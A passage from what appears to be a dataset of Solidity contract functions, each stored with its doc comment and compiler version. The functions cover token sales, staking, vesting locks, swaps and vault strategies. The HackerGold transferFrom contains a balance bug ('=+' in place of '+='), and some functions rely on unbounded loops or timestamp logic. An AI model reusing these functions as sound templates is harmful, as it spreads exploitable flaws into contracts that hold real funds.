{\r\n if (parameter == \"openRefill\") {\r\n require(data <= 1, \"StakeRewardRefill/invalid-open-refill\");\r\n openRefill = data;\r\n } else if (parameter == \"lastRefillTime\") {\r\n require(data >= lastRefillTime, \"StakeRewardRefill/invalid-refill-time\");\r\n lastRefillTime = data;\r\n } else if (parameter == \"refillDelay\") {\r\n require(data > 0, \"StakeRewardRefill/null-refill-delay\");\r\n refillDelay = data;\r\n } else if (parameter == \"refillAmount\") {\r\n require(data > 0, \"StakeRewardRefill/null-refill-amount\");\r\n refillAmount = data;\r\n }\r\n else revert(\"StakeRewardRefill/modify-unrecognized-param\");\r\n }", "version": "0.6.7"} {"comment": "/**\r\n * @notice Send tokens to refillDestination\r\n * @dev This function can only be called if msg.sender passes canRefill checks\r\n **/", "function_code": "function refill() external canRefill {\r\n uint256 delay = subtract(now, lastRefillTime);\r\n require(delay >= refillDelay, \"StakeRewardRefill/wait-more\");\r\n\r\n // Update the last refill time\r\n lastRefillTime = subtract(now, delay % refillDelay);\r\n\r\n // Send tokens\r\n uint256 amountToTransfer = multiply(delay / refillDelay, refillAmount);\r\n rewardToken.transfer(refillDestination, amountToTransfer);\r\n\r\n emit Refill(refillDestination, amountToTransfer);\r\n }", "version": "0.6.7"} {"comment": "// ------------------------------------------------------------------------\n// 1,000 tokens per 1 ETH, with 20% bonus\n// ------------------------------------------------------------------------", "function_code": "function () public payable {\r\n require(now >= startDate && now <= endDate);\r\n uint tokens;\r\n if (now <= bonusEnds) {\r\n tokens = msg.value * 12000;\r\n } else {\r\n tokens = msg.value * 10000;\r\n }\r\n balances[msg.sender] = safeAdd(balances[msg.sender], tokens);\r\n _totalSupply = safeAdd(_totalSupply, tokens);\r\n Transfer(address(0), msg.sender, tokens);\r\n owner.transfer(msg.value);\r\n }", "version": "0.4.19"} {"comment": "/********************************************\\\r\n * @dev Deposit function\r\n * Anyone can pay while contract is active\r\n \\********************************************/", "function_code": "function () public payable autobidActive {\r\n // Calculate number of tokens owed to sender\r\n uint tokenQuantity = msg.value * exchangeRate;\r\n\r\n // Ensure that sender receives their tokens\r\n require(Token(token).transfer(msg.sender, tokenQuantity));\r\n\r\n // Check if contract has now expired (i.e. is empty)\r\n expirationCheck();\r\n\r\n // Fire TokenClaim event\r\n TokenClaim(token, msg.sender, msg.value, tokenQuantity);\r\n }", "version": "0.4.19"} {"comment": "/******************************************************\\\r\n * @dev Redeem function (exchange tokens back to ETH)\r\n * @param amount Number of tokens exchanged\r\n * Anyone can redeem while contract is active\r\n \\******************************************************/", "function_code": "function redeemTokens(uint amount) public autobidActive {\r\n // NOTE: redeemTokens will only work once the sender has approved \r\n // the RedemptionContract address for the deposit amount \r\n require(Token(token).transferFrom(msg.sender, this, amount));\r\n\r\n uint redemptionValue = amount / exchangeRate; \r\n\r\n msg.sender.transfer(redemptionValue);\r\n\r\n // Fire Redemption event\r\n Redemption(msg.sender, amount, redemptionValue);\r\n }", "version": "0.4.19"} {"comment": "/**************************************************************\\\r\n * @dev Expires contract if any expiration criteria is met\r\n * (declared as public function to allow direct manual call)\r\n \\**************************************************************/", "function_code": "function expirationCheck() public {\r\n // If expirationTime has been passed, contract expires\r\n if (now > expirationTime) {\r\n active = false;\r\n }\r\n\r\n // If the contract's token supply is depleted, it expires\r\n uint remainingTokenSupply = Token(token).balanceOf(this);\r\n if (remainingTokenSupply < exchangeRate) {\r\n active = false;\r\n }\r\n }", "version": "0.4.19"} {"comment": "// get decision result address", "function_code": "function _getFinalAddress(uint[] _amounts, address[] _buyers, uint result) internal pure returns (address finalAddress) {\r\n uint congest = 0;\r\n address _finalAddress = 0x0;\r\n for (uint j = 0; j < _amounts.length; j++) {\r\n congest += _amounts[j];\r\n if (result <= congest && _finalAddress == 0x0) {\r\n _finalAddress = _buyers[j];\r\n }\r\n }\r\n return _finalAddress;\r\n }", "version": "0.4.20"} {"comment": "// 500ETH investors, everyone 5%", "function_code": "function _shareOut(uint feeAmount) internal {\r\n uint shareAmount;\r\n address investor;\r\n for (uint k = 0; k < investors.length; k++) {\r\n shareAmount = feeAmount * 5 / 100;\r\n investor = investors[k];\r\n balanceOf[investor] += shareAmount;\r\n quotaOf[investor] += shareAmount;\r\n balanceOf[owner] -= shareAmount;\r\n quotaOf[owner] -= shareAmount;\r\n }\r\n }", "version": "0.4.20"} {"comment": "// mall application delegate transfer", "function_code": "function delegateTransfer(address _from, address _to, uint _value, uint _fee) onlyOwner public {\r\n if (_fee > 0) {\r\n require(_fee < 100 * 10 ** uint256(decimals));\r\n quotaOf[owner] += _fee;\r\n }\r\n if (_from != owner && _to != owner) {\r\n _transfer(_from, owner, _fee);\r\n }\r\n _transfer(_from, _to, _value - _fee);\r\n }", "version": "0.4.20"} {"comment": "// TNTOO withdraw as ETH", "function_code": "function withdraw(address _target, uint _amount, uint _fee) public {\r\n require(_amount <= quotaOf[_target]);\r\n uint finalAmount = _amount - _fee; \r\n uint ethAmount = finalAmount / ratio;\r\n require(ethAmount <= allEther);\r\n // fee\r\n if (msg.sender == owner && _target != owner) {\r\n require(_fee < 100 * 10 ** uint256(decimals));\r\n quotaOf[owner] += _fee;\r\n } else {\r\n require(msg.sender == _target);\r\n }\r\n quotaOf[_target] -= _amount;\r\n // destroy tokens\r\n totalSupply -= finalAmount;\r\n balanceOf[owner] -= finalAmount;\r\n // transfer ether\r\n _target.transfer(ethAmount);\r\n allEther -= ethAmount;\r\n Withdraw(msg.sender, _target, ethAmount, _amount, _fee);\r\n }", "version": "0.4.20"} {"comment": "/**\n * @author allemanfredi\n * @notice given an input amount, returns the output\n * amount with slippage and with fees. This fx is\n * to check approximately onchain the slippage\n * during a swap\n */", "function_code": "function calculateSlippageAmountWithFees(\n uint256 _amountIn,\n uint256 _allowedSlippage,\n uint256 _rateIn,\n uint256 _rateOut\n ) internal pure returns (uint256) {\n require(_amountIn > 0, \"UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT\");\n uint256 slippageAmount = _amountIn\n .mul(_rateOut)\n .div(_rateIn)\n .mul(10000 - _allowedSlippage)\n .div(10000);\n // NOTE: remove fees\n return slippageAmount.mul(997).div(1000);\n }", "version": "0.5.16"} {"comment": "/**\n * @author allemanfredi\n * @notice given 2 inputs amount, it returns the\n * rate percentage between the 2 amounts\n */", "function_code": "function calculateRate(uint256 _amountIn, uint256 _amountOut) internal pure returns (uint256) {\n require(_amountIn > 0, \"UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT\");\n require(_amountOut > 0, \"UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT\");\n return\n _amountIn > _amountOut\n ? (10000 * _amountIn).sub(10000 * _amountOut).div(_amountIn)\n : (10000 * _amountOut).sub(10000 * _amountIn).div(_amountOut);\n }", "version": "0.5.16"} {"comment": "/**\n * @author allemanfredi\n * @notice returns the slippage for a trade without counting the fees\n */", "function_code": "function calculateSlippage(\n uint256 _amountIn,\n uint256 _reserveIn,\n uint256 _reserveOut\n ) internal pure returns (uint256) {\n require(_amountIn > 0, \"UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT\");\n uint256 price = _reserveOut.mul(10**18).div(_reserveIn);\n uint256 quote = _amountIn.mul(price);\n uint256 amountOut = getAmountOut(_amountIn, _reserveIn, _reserveOut);\n return uint256(10000).sub((amountOut * 10000).div(quote.div(10**18))).mul(997).div(1000);\n }", "version": "0.5.16"} {"comment": "/**\r\n * @dev Burns tokens/shares and retuns the ETH value, after fee, of those.\r\n */", "function_code": "function withdrawETH(uint256 shares) external whenNotShutdown nonReentrant {\r\n require(shares != 0, \"Withdraw must be greater than 0\");\r\n uint256 sharesAfterFee = _handleFee(shares);\r\n uint256 amount = sharesAfterFee.mul(totalValue()).div(totalSupply());\r\n _burn(_msgSender(), sharesAfterFee);\r\n\r\n _withdrawCollateral(amount);\r\n\r\n // Unwrap WETH to ETH\r\n lockEth = true;\r\n weth.withdraw(amount);\r\n lockEth = false;\r\n _msgSender().transfer(amount);\r\n\r\n emit Withdraw(_msgSender(), shares, amount);\r\n }", "version": "0.6.12"} {"comment": "// // Minted the reserve", "function_code": "function reserveMint(address _to, uint256 _amount) external onlyOwner() {\n require( _amount <= reserved, \"Exceeds reserved supply\" );\n uint256 supply = totalSupply();\n for(uint256 i; i < _amount; i++){\n _safeMint( _to, supply + i );\n }\n reserved -= _amount;\n }", "version": "0.8.7"} {"comment": "// Helps check which Metavader this wallet owner owns", "function_code": "function collectionInWallet(address _owner) public view returns(uint256[] memory) {\n uint256 tokenCount = balanceOf(_owner);\n\n uint256[] memory tokensId = new uint256[](tokenCount);\n for(uint256 i; i < tokenCount; i++){\n tokensId[i] = tokenOfOwnerByIndex(_owner, i);\n }\n return tokensId;\n }", "version": "0.8.7"} {"comment": "/**\n * @notice Burn all user's UniV2 staked in the ModifiedUnipool,\n * unwrap the corresponding amount of WETH into ETH, collect\n * rewards matured from the UniV2 staking and sent it to msg.sender.\n * User must approve this contract to withdraw the corresponding\n * amount of his UniV2 balance in behalf of him.\n */", "function_code": "function unstake() public returns (bool) {\n uint256 uniV2SenderBalance = modifiedUnipool.balanceOf(msg.sender);\n require(\n modifiedUnipool.allowance(msg.sender, address(this)) >= uniV2SenderBalance,\n \"RewardedPltcWethUniV2Pair: amount not approved\"\n );\n\n modifiedUnipool.withdrawFrom(msg.sender, uniV2SenderBalance);\n modifiedUnipool.getReward(msg.sender);\n\n uniV2.transfer(address(uniV2), uniV2SenderBalance);\n (uint256 pltcAmount, uint256 wethAmount) = uniV2.burn(address(this));\n\n weth.withdraw(wethAmount);\n address(msg.sender).transfer(wethAmount);\n pltc.transfer(msg.sender, pltcAmount);\n\n emit Unstaked(msg.sender, pltcAmount, wethAmount);\n return true;\n }", "version": "0.5.16"} {"comment": "/**\n * @notice Wrap the Ethereum sent into WETH, swap the amount sent / 2\n * into WETH and put them into a PLTC/WETH Uniswap pool.\n * The amount of UniV2 token will be sent to ModifiedUnipool\n * in order to mature rewards.\n * @param _user address of the user who will have UniV2 tokens in ModifiedUnipool\n * @param _amount amount of weth to use to perform this operation\n */", "function_code": "function _stakeFor(address _user, uint256 _amount) internal {\n uint256 wethAmountIn = _amount / 2;\n (uint256 pltcReserve, uint256 wethReserve, ) = uniV2.getReserves();\n uint256 pltcAmountOut = UniswapV2Library.getAmountOut(wethAmountIn, wethReserve, pltcReserve);\n\n require(\n allowedSlippage >=\n UniswapV2Library.calculateSlippage(wethAmountIn, wethReserve, pltcReserve),\n \"RewardedPltcWethUniV2Pair: too much slippage\"\n );\n\n weth.deposit.value(_amount)();\n weth.transfer(address(uniV2), wethAmountIn);\n uniV2.swap(pltcAmountOut, 0, address(this), \"\");\n\n pltc.safeTransfer(address(uniV2), pltcAmountOut);\n weth.transfer(address(uniV2), wethAmountIn);\n uint256 liquidity = uniV2.mint(address(this));\n\n uniV2.approve(address(modifiedUnipool), liquidity);\n modifiedUnipool.stakeFor(_user, liquidity);\n\n emit Staked(_user, _amount);\n }", "version": "0.5.16"} {"comment": "// function Kill() public {\n// \tif(msg.sender == owner) {\n// \t selfdestruct(owner);\n// \t}\n// }", "function_code": "function bytesToString (bytes32 data) returns (string) {\r\n bytes memory bytesString = new bytes(32);\r\n for (uint j=0; j<32; j++) {\r\n byte char = byte(bytes32(uint(data) * 2 ** (8 * j)));\r\n if (char != 0) {\r\n bytesString[j] = char;\r\n }\r\n }\r\n return string(bytesString);\r\n }", "version": "0.4.11"} {"comment": "//1 ether = 1 spot", "function_code": "function joinPot() public payable {\r\n\t \r\n\t assert(now < endTime);\r\n //for each ether sent, reserve a spot\r\n\t for(uint i = msg.value; i >= minBetSize; i-= minBetSize) {\r\n\t potMembers.push(msg.sender);\r\n\t totalBet+= minBetSize;\r\n\t potSize += 1;\r\n\t }\r\n\t \r\n\t potSizeChanged(potSize);\r\n\t timeLeft(endTime - now);\r\n\t \r\n\t}", "version": "0.4.11"} {"comment": "// Signature methods", "function_code": "function splitSignature(bytes sig)\r\n internal\r\n pure\r\n returns (uint8, bytes32, bytes32)\r\n {\r\n require(sig.length == 65);\r\n\r\n bytes32 r;\r\n bytes32 s;\r\n uint8 v;\r\n\r\n assembly {\r\n // first 32 bytes, after the length prefix\r\n r := mload(add(sig, 32))\r\n // second 32 bytes\r\n s := mload(add(sig, 64))\r\n // final byte (first byte of the next 32 bytes)\r\n v := byte(0, mload(add(sig, 96)))\r\n }\r\n\r\n return (v, r, s);\r\n }", "version": "0.4.24"} {"comment": "//Private sale minting (reserved for Loot owners)", "function_code": "function mintWithLoot(uint lootId) public payable nonReentrant {\r\n require(lootersPrice <= msg.value, \"Ether value sent is not correct\");\r\n require(lootContract.ownerOf(lootId) == msg.sender, \"Not the owner of this loot\");\r\n require(!_exists(lootId), \"This token has already been minted\");\r\n\r\n _safeMint(msg.sender, lootId);\r\n }", "version": "0.8.7"} {"comment": "//Public sale minting", "function_code": "function mint(uint lootId) public payable nonReentrant {\r\n require(publicPrice <= msg.value, \"Ether value sent is not correct\");\r\n require(lootId > 8000 && lootId <= 12000, \"Token ID invalid\");\r\n require(!_exists(lootId), \"This token has already been minted\");\r\n\r\n _safeMint(msg.sender, lootId);\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * Should allow any address to trigger it, but since the calls are atomic it should do only once per day\r\n */", "function_code": "function triggerTokenSend() external whenNotPaused {\r\n /* Require TGE Date already been set */\r\n require(TGEDate != 0, \"TGE date not set yet\");\r\n /* TGE has not started */\r\n require(block.timestamp > TGEDate, \"TGE still hasn\u00b4t started\");\r\n /* Test that the call be only done once per day */\r\n require(block.timestamp.sub(lastDateDistribution) > 1 days, \"Can only be called once a day\");\r\n lastDateDistribution = block.timestamp;\r\n /* Go thru all tokenOwners */\r\n for(uint i = 0; i < tokenOwners.length; i++) {\r\n /* Get Address Distribution */\r\n DistributionStep[] memory d = distributions[tokenOwners[i]];\r\n /* Go thru all distributions array */\r\n for(uint j = 0; j < d.length; j++){\r\n if( (block.timestamp.sub(TGEDate) > d[j].unlockDay) /* Verify if unlockDay has passed */\r\n && (d[j].currentAllocated > 0) /* Verify if currentAllocated > 0, so that address has tokens to be sent still */\r\n ){\r\n uint256 sendingAmount;\r\n sendingAmount = d[j].currentAllocated;\r\n distributions[tokenOwners[i]][j].currentAllocated = distributions[tokenOwners[i]][j].currentAllocated.sub(sendingAmount);\r\n distributions[tokenOwners[i]][j].amountSent = distributions[tokenOwners[i]][j].amountSent.add(sendingAmount);\r\n require(erc20.transfer(tokenOwners[i], sendingAmount));\r\n }\r\n }\r\n } \r\n }", "version": "0.5.8"} {"comment": "/**\r\n * @dev Allows to lock an amount of tokens of specific addresses.\r\n * Available only to the owner.\r\n * Can be called once.\r\n * @param addresses array of addresses.\r\n * @param values array of amounts of tokens.\r\n * @param times array of Unix times.\r\n */", "function_code": "function lock(address[] calldata addresses, uint256[] calldata values, uint256[] calldata times) external onlyOwner {\r\n require(!_started);\r\n require(addresses.length == values.length && values.length == times.length);\r\n\r\n for (uint256 i = 0; i < addresses.length; i++) {\r\n require(balanceOf(addresses[i]) >= values[i]);\r\n\r\n if (!_locked[addresses[i]].locked) {\r\n _locked[addresses[i]].locked = true;\r\n }\r\n\r\n _locked[addresses[i]].batches.push(Batch(values[i], block.timestamp + times[i]));\r\n\r\n if (_locked[addresses[i]].batches.length > 1) {\r\n assert(\r\n _locked[addresses[i]].batches[_locked[addresses[i]].batches.length - 1].amount\r\n < _locked[addresses[i]].batches[_locked[addresses[i]].batches.length - 2].amount\r\n &&\r\n _locked[addresses[i]].batches[_locked[addresses[i]].batches.length - 1].time\r\n > _locked[addresses[i]].batches[_locked[addresses[i]].batches.length - 2].time\r\n );\r\n }\r\n }\r\n\r\n _started = true;\r\n }", "version": "0.5.7"} {"comment": "/**\r\n * @dev modified internal transfer function that prevents any transfer of locked tokens.\r\n * @param from address The address which you want to send tokens from\r\n * @param to The address to transfer to.\r\n * @param value The amount to be transferred.\r\n */", "function_code": "function _transfer(address from, address to, uint256 value) internal {\r\n if (_locked[from].locked) {\r\n for (uint256 i = 0; i < _locked[from].batches.length; i++) {\r\n if (block.timestamp <= _locked[from].batches[i].time) {\r\n require(value <= balanceOf(from).sub(_locked[from].batches[i].amount));\r\n break;\r\n }\r\n }\r\n }\r\n super._transfer(from, to, value);\r\n }", "version": "0.5.7"} {"comment": "/**\r\n * transfer() - transfer tokens from msg.sender balance \r\n * to requested account\r\n *\r\n * @param to - target address to transfer tokens\r\n * @param value - ammount of tokens to transfer\r\n *\r\n * @return - success / failure of the transaction\r\n */", "function_code": "function transfer(address to, uint256 value) returns (bool success) {\r\n \r\n \r\n if (balances[msg.sender] >= value && value > 0) {\r\n\r\n // do actual tokens transfer \r\n balances[msg.sender] -= value;\r\n balances[to] += value;\r\n \r\n // rise the Transfer event\r\n Transfer(msg.sender, to, value);\r\n return true;\r\n } else {\r\n \r\n return false; \r\n }\r\n }", "version": "0.4.2"} {"comment": "/**\r\n * transferFrom() - \r\n *\r\n * @param from - \r\n * @param to - \r\n * @param value - \r\n *\r\n * @return \r\n */", "function_code": "function transferFrom(address from, address to, uint256 value) returns (bool success) {\r\n \r\n if ( balances[from] >= value && \r\n allowed[from][msg.sender] >= value && \r\n value > 0) {\r\n \r\n \r\n // do the actual transfer\r\n balances[from] -= value; \r\n balances[to] =+ value; \r\n \r\n\r\n // addjust the permision, after part of \r\n // permited to spend value was used\r\n allowed[from][msg.sender] -= value;\r\n \r\n // rise the Transfer event\r\n Transfer(from, to, value);\r\n return true;\r\n } else { \r\n \r\n return false; \r\n }\r\n }", "version": "0.4.2"} {"comment": "/**\r\n *\r\n * approve() - function approves to a person to spend some tokens from \r\n * owner balance. \r\n *\r\n * @param spender - person whom this right been granted.\r\n * @param value - value to spend.\r\n * \r\n * @return true in case of succes, otherwise failure\r\n * \r\n */", "function_code": "function approve(address spender, uint256 value) returns (bool success) {\r\n \r\n // now spender can use balance in \r\n // ammount of value from owner balance\r\n allowed[msg.sender][spender] = value;\r\n \r\n // rise event about the transaction\r\n Approval(msg.sender, spender, value);\r\n \r\n return true;\r\n }", "version": "0.4.2"} {"comment": "/**\r\n * Constructor of the contract.\r\n * \r\n * Passes address of the account holding the value.\r\n * HackerGold contract itself does not hold any value\r\n * \r\n * @param multisig address of MultiSig wallet which will hold the value\r\n */", "function_code": "function HackerGold(address multisig) {\r\n \r\n wallet = multisig;\r\n\r\n // set time periods for sale\r\n milestones = milestones_struct(\r\n \r\n 1476799200, // P1: GMT: 18-Oct-2016 14:00 => The Sale Starts\r\n 1478181600, // P2: GMT: 03-Nov-2016 14:00 => 1st Price Ladder \r\n 1479391200, // P3: GMT: 17-Nov-2016 14:00 => Price Stable, \r\n // Hackathon Starts\r\n 1480600800, // P4: GMT: 01-Dec-2016 14:00 => 2nd Price Ladder\r\n 1481810400, // P5: GMT: 15-Dec-2016 14:00 => Price Stable\r\n 1482415200 // P6: GMT: 22-Dec-2016 14:00 => Sale Ends, Hackathon Ends\r\n );\r\n \r\n }", "version": "0.4.2"} {"comment": "/**\r\n * Creates HKG tokens.\r\n * \r\n * Runs sanity checks including safety cap\r\n * Then calculates current price by getPrice() function, creates HKG tokens\r\n * Finally sends a value of transaction to the wallet\r\n * \r\n * Note: due to lack of floating point types in Solidity,\r\n * contract assumes that last 3 digits in tokens amount are stood after the point.\r\n * It means that if stored HKG balance is 100000, then its real value is 100 HKG\r\n * \r\n * @param holder token holder\r\n */", "function_code": "function createHKG(address holder) payable {\r\n \r\n if (now < milestones.p1) throw;\r\n if (now >= milestones.p6) throw;\r\n if (msg.value == 0) throw;\r\n \r\n // safety cap\r\n if (getTotalValue() + msg.value > SAFETY_LIMIT) throw; \r\n \r\n uint tokens = msg.value * getPrice() * DECIMAL_ZEROS / 1 ether;\r\n\r\n totalSupply += tokens;\r\n balances[holder] += tokens;\r\n totalValue += msg.value;\r\n \r\n if (!wallet.send(msg.value)) throw;\r\n }", "version": "0.4.2"} {"comment": "/**\r\n * Denotes complete price structure during the sale.\r\n *\r\n * @return HKG amount per 1 ETH for the current moment in time\r\n */", "function_code": "function getPrice() constant returns (uint result) {\r\n \r\n if (now < milestones.p1) return 0;\r\n \r\n if (now >= milestones.p1 && now < milestones.p2) {\r\n \r\n return BASE_PRICE;\r\n }\r\n \r\n if (now >= milestones.p2 && now < milestones.p3) {\r\n \r\n uint days_in = 1 + (now - milestones.p2) / 1 days; \r\n return BASE_PRICE - days_in * 25 / 7; // daily decrease 3.5\r\n }\r\n\r\n if (now >= milestones.p3 && now < milestones.p4) {\r\n \r\n return MID_PRICE;\r\n }\r\n \r\n if (now >= milestones.p4 && now < milestones.p5) {\r\n \r\n days_in = 1 + (now - milestones.p4) / 1 days; \r\n return MID_PRICE - days_in * 25 / 7; // daily decrease 3.5\r\n }\r\n\r\n if (now >= milestones.p5 && now < milestones.p6) {\r\n \r\n return FIN_PRICE;\r\n }\r\n \r\n if (now >= milestones.p6){\r\n\r\n return 0;\r\n }\r\n\r\n }", "version": "0.4.2"} {"comment": "// ONLY-STAKING-CONTRACT FUNCTIONS", "function_code": "function validateJoinPackage(address _from, address _to, uint8 _type, uint _dabAmount, uint _gemAmount)\r\n onlyContractAContract\r\n public\r\n view\r\n returns (bool)\r\n {\r\n Package storage package = packages[_to];\r\n Balance storage balance = balances[_from];\r\n return _type > uint8(PackageType.M0) &&\r\n _type <= uint8(PackageType.M18) &&\r\n _type >= uint8(package.packageType) &&\r\n _dabAmount.add(_gemAmount) >= package.lastPackage &&\r\n (_gemAmount == 0 || balance.gemBalance >= int(_gemAmount));\r\n }", "version": "0.4.25"} {"comment": "// PRIVATE-FUNCTIONS", "function_code": "function updatePackageInfo(address _to, PackageType _packageType, uint _dabAmount, uint _gemAmount) private {\r\n Package storage package = packages[_to];\r\n package.packageType = _packageType;\r\n package.lastPackage = _dabAmount.add(_gemAmount);\r\n package.dabAmount = package.dabAmount.add(_dabAmount);\r\n package.gemAmount = package.gemAmount.add(_gemAmount);\r\n package.startAt = now;\r\n package.endAt = package.startAt + parseEndAt(_packageType);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Remove party.\r\n * @param _participantIndex Index of the participant in the participants array.\r\n */", "function_code": "function removeParty(uint256 _participantIndex) onlyOwner canRemoveParty external {\r\n require(_participantIndex < participants.length, \"Participant does not exist\");\r\n\r\n address participant = participants[_participantIndex];\r\n address token = tokenByParticipant[participant];\r\n\r\n delete isParticipant[participant];\r\n participants[_participantIndex] = participants[participants.length - 1];\r\n participants.length--;\r\n delete offerByToken[token];\r\n delete tokenByParticipant[participant];\r\n\r\n emit RemoveParty(participant);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Withdraw tokens\r\n */", "function_code": "function withdraw() onlyParticipant canWithdraw external {\r\n for (uint i = 0; i < participants.length; i++) {\r\n address token = tokenByParticipant[participants[i]];\r\n SwapOffer storage offer = offerByToken[token];\r\n\r\n if (offer.participant == msg.sender) {\r\n continue;\r\n }\r\n\r\n uint256 tokenReceivers = participants.length - 1;\r\n uint256 tokensAmount = _withdrawableAmount(offer).div(tokenReceivers);\r\n\r\n offer.token.safeTransfer(msg.sender, tokensAmount);\r\n emit Withdraw(msg.sender, offer.token, tokensAmount);\r\n offer.withdrawnTokensForSwap = offer.withdrawnTokensForSwap.add(tokensAmount);\r\n offer.withdrawnTokensTotal = offer.withdrawnTokensTotal.add(tokensAmount);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Withdraw swap fee\r\n */", "function_code": "function withdrawFee() onlyOwner canWithdrawFee external {\r\n for (uint i = 0; i < participants.length; i++) {\r\n address token = tokenByParticipant[participants[i]];\r\n SwapOffer storage offer = offerByToken[token];\r\n\r\n uint256 tokensAmount = _withdrawableFee(offer);\r\n\r\n offer.token.safeTransfer(msg.sender, tokensAmount);\r\n emit WithdrawFee(offer.token, tokensAmount);\r\n offer.withdrawnFee = offer.withdrawnFee.add(tokensAmount);\r\n offer.withdrawnTokensTotal = offer.withdrawnTokensTotal.add(tokensAmount);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Reclaim tokens if a participant has deposited too much or if the swap has been canceled.\r\n */", "function_code": "function reclaim() onlyParticipant canReclaim external {\r\n address token = tokenByParticipant[msg.sender];\r\n\r\n SwapOffer storage offer = offerByToken[token];\r\n uint256 currentBalance = offer.token.balanceOf(address(this));\r\n uint256 availableForReclaim = currentBalance\r\n .sub(offer.tokensTotal.sub(offer.withdrawnTokensTotal));\r\n\r\n if (status == Status.SwapCanceled) {\r\n availableForReclaim = currentBalance;\r\n }\r\n\r\n offer.token.safeTransfer(offer.participant, availableForReclaim);\r\n emit Reclaim(offer.participant, offer.token, availableForReclaim);\r\n }", "version": "0.4.24"} {"comment": "/**\n * @notice Create keeper and maintainer list\n * @dev Create lists and add governor into the list.\n * NOTE: Any function with onlyKeeper and onlyMaintainer modifier will not work until this function is called.\n * NOTE: Due to gas constraint this function cannot be called in constructor.\n */", "function_code": "function init() external onlyGovernor {\n require(address(keepers) == address(0), \"list-already-created\");\n IAddressListFactory _factory = IAddressListFactory(0xded8217De022706A191eE7Ee0Dc9df1185Fb5dA3);\n keepers = IAddressList(_factory.createList());\n maintainers = IAddressList(_factory.createList());\n // List creator i.e. governor can do job of keeper and maintainer.\n keepers.add(governor);\n maintainers.add(governor);\n }", "version": "0.8.3"} {"comment": "/// @dev Add strategy", "function_code": "function addStrategy(\n address _strategy,\n uint256 _interestFee,\n uint256 _debtRatio,\n uint256 _debtRate\n ) public onlyGovernor {\n require(_strategy != address(0), \"strategy-address-is-zero\");\n require(!strategy[_strategy].active, \"strategy-already-added\");\n totalDebtRatio = totalDebtRatio + _debtRatio;\n require(totalDebtRatio <= MAX_BPS, \"totalDebtRatio-above-max_bps\");\n require(_interestFee <= MAX_BPS, \"interest-fee-above-max_bps\");\n StrategyConfig memory newStrategy =\n StrategyConfig({\n active: true,\n interestFee: _interestFee,\n debtRatio: _debtRatio,\n totalDebt: 0,\n totalProfit: 0,\n totalLoss: 0,\n debtRate: _debtRate,\n lastRebalance: block.number\n });\n strategy[_strategy] = newStrategy;\n strategies.push(_strategy);\n withdrawQueue.push(_strategy);\n emit StrategyAdded(_strategy, _interestFee, _debtRatio, _debtRate);\n }", "version": "0.8.3"} {"comment": "/**\n * @dev Revoke and remove strategy from array. Update withdraw queue.\n * Withdraw queue order should not change after remove.\n * Strategy can be removed only after it has paid all debt.\n * Use migrate strategy if debt is not paid and want to upgrade strat.\n */", "function_code": "function removeStrategy(uint256 _index) external onlyGovernor {\n address _strategy = strategies[_index];\n require(strategy[_strategy].active, \"strategy-not-active\");\n require(strategy[_strategy].totalDebt == 0, \"strategy-has-debt\");\n delete strategy[_strategy];\n strategies[_index] = strategies[strategies.length - 1];\n strategies.pop();\n address[] memory _withdrawQueue = new address[](strategies.length);\n uint256 j;\n // After above update, withdrawQueue.length > strategies.length\n for (uint256 i = 0; i < withdrawQueue.length; i++) {\n if (withdrawQueue[i] != _strategy) {\n _withdrawQueue[j] = withdrawQueue[i];\n j++;\n }\n }\n withdrawQueue = _withdrawQueue;\n }", "version": "0.8.3"} {"comment": "/// @dev update withdrawal queue", "function_code": "function updateWithdrawQueue(address[] memory _withdrawQueue) external onlyMaintainer {\n uint256 _length = _withdrawQueue.length;\n require(_length > 0, \"withdrawal-queue-blank\");\n require(_length == withdrawQueue.length && _length == strategies.length, \"incorrect-withdraw-queue-length\");\n for (uint256 i = 0; i < _length; i++) {\n require(strategy[_withdrawQueue[i]].active, \"invalid-strategy\");\n }\n withdrawQueue = _withdrawQueue;\n }", "version": "0.8.3"} {"comment": "/**\n @dev Strategy call this in regular interval.\n @param _profit yield generated by strategy. Strategy get performance fee on this amount\n @param _loss Reduce debt ,also reduce debtRatio, increase loss in record.\n @param _payback strategy willing to payback outstanding above debtLimit. no performance fee on this amount.\n when governance has reduced debtRatio of strategy, strategy will report profit and payback amount separately.\n */", "function_code": "function reportEarning(\n uint256 _profit,\n uint256 _loss,\n uint256 _payback\n ) external onlyStrategy {\n require(token.balanceOf(_msgSender()) >= (_profit + _payback), \"insufficient-balance-in-strategy\");\n if (_loss != 0) {\n _reportLoss(_msgSender(), _loss);\n }\n\n uint256 _overLimitDebt = _excessDebt(_msgSender());\n uint256 _actualPayback = _min(_overLimitDebt, _payback);\n if (_actualPayback != 0) {\n strategy[_msgSender()].totalDebt -= _actualPayback;\n totalDebt -= _actualPayback;\n }\n uint256 _creditLine = _availableCreditLimit(_msgSender());\n if (_creditLine != 0) {\n strategy[_msgSender()].totalDebt += _creditLine;\n totalDebt += _creditLine;\n }\n uint256 _totalPayback = _profit + _actualPayback;\n if (_totalPayback < _creditLine) {\n token.safeTransfer(_msgSender(), _creditLine - _totalPayback);\n } else if (_totalPayback > _creditLine) {\n token.safeTransferFrom(_msgSender(), address(this), _totalPayback - _creditLine);\n }\n if (_profit != 0) {\n strategy[_msgSender()].totalProfit += _profit;\n _transferInterestFee(_profit);\n }\n emit EarningReported(\n _msgSender(),\n _profit,\n _loss,\n _actualPayback,\n strategy[_msgSender()].totalDebt,\n totalDebt,\n _creditLine\n );\n }", "version": "0.8.3"} {"comment": "/**\n * @dev Before burning hook.\n * withdraw amount from strategies\n */", "function_code": "function _beforeBurning(uint256 _share) internal override returns (uint256 actualWithdrawn) {\n uint256 _amount = (_share * pricePerShare()) / 1e18;\n uint256 _balanceNow = tokensHere();\n if (_amount > _balanceNow) {\n _withdrawCollateral(_amount - _balanceNow);\n _balanceNow = tokensHere();\n }\n actualWithdrawn = _balanceNow < _amount ? _balanceNow : _amount;\n }", "version": "0.8.3"} {"comment": "/**\n @dev when a strategy report loss, its debtRatio decrease to get fund back quickly.\n */", "function_code": "function _reportLoss(address 